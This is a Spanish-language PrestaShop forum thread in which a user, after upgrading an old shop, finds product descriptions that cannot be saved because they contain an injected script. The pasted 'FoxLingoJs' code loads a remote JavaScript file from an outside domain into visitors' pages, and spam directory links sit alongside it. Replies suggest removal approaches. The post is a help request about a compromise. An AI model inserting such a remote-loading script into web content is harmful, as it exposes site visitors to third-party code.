Jump to content

script en las descripciones que no se puede borrar


Recommended Posts

 Buenos días

He actualizado la web de un familiar que la tenía muy abandonada de prestashop  1.5.4.0 a prestshop  1.6.1.13 para luego instalar  un tema nuevo y corregir  algunas categorías y algunos productos que estaban mal. La actualice  con módulo “Actualización 1-Click.”

Ya en la versión nueva al intentar modificar los artículos me da este error:   

  1. El campo description (Español (Spanish)) no es válido.
  2. El campo description_short (Español (Spanish)) no es válido.

Por lo poco que sé y he leído el error se corrige activando: “Permite iframes en los campos HTML” pero en este caso no funciona y ya estaba activado. Creo que el error se produce porque en la descripción de  muchos artículos hay un script incrustado que no hay forma de borrarlo.

En la descripción de uno de los artículos me encuentro esto

 

!tzalist Shopping Directory

Añadir url al directorio

 

Y en el código fuente

 

<p>Le ofrecemos todo el servicio que usted pueda necesitar en porteros automaticos, tanto empotrados como de superficie. Venta, instalación y mantenimiento. Estamos  su servicio.</p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p><strong><span style="font-size: medium;"> </span></strong></p>

<script id="FoxLingoJs">// <![CDATA[

(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);[spam-filter]; header.appendChild(script);} catch(e) {[spam-filter])();

// ]]></script>

<p><span style="font-size: 10pt;"> </span></p>

<p><a href="http://www.itzalist.com/shopping.html">!tzalist Shopping Directory</a></p>

<p><a title="Free web directory" href="http://directory.seo-supreme.com" target="_blank"><img style="border: 0px;" src="http://directory.seo-supreme.com/img/logo_80x15.gif" alt="Free web directory" /></a></p>

<p><a title="Add url para directory" href="http://directory.seo-supreme.com" target="_blank"> Añadir url al directorio </a></p>

 

En la descripción corta:

 

<p><strong>Porteros automaticos tanto empotrados como de superficie Venta instalación y mantenimiento</strong></p>

<script id="FoxLingoJs">// <![CDATA[

(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);[spam-filter]; header.appendChild(script);} catch(e) {[spam-filter])();

// ]]></script>

 

Al eliminarlo se quita el error

  1. El campo description (Español (Spanish)) no es válido.
  2. El campo description_short (Español (Spanish)) no es válido.

Pero me sale otro  

Property Product->description is not valid

 

No hay forma de modificar nada,

Cree  un clon de la web para ya en el tema nuevo, para probar las soluciones que me encuentro en los foros  pero no he podido solucionarlo. Después de una de las modificaciones ya ni me funciona el clon.

Lo que solo era actualizarla con un tema nuevo y dejársela preparada se ha convertido en  verdadero dolor de cabeza, podría  restaurarla con un backup a la versión anterior pero por lo que me comentan tampoco podían modificar los artículos antes.

Gracias y perdón por la parrafada.  

Un saludo.

José Manuel

 

Link to comment
Share on other sites

Gracias por contestar

El script lo puedo eliminar pero luego sale el otro error

“Property Product->description is not valid”

y como no deja guardar los cambios al actualizar sigue el script.

En el enlace que te he pasado si haces lo de la clase Validate.php que dice el enlace que te he pasado. ¿Te sale el mismo error al quitar el script y pulsar en guardar?

 

Si quieres cargarte todas las descripcion de los productos de golpe siempre puedes hacer un update sobre los campos en cuestion en la tabla ps_product_lang en la base de datos tambien...

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...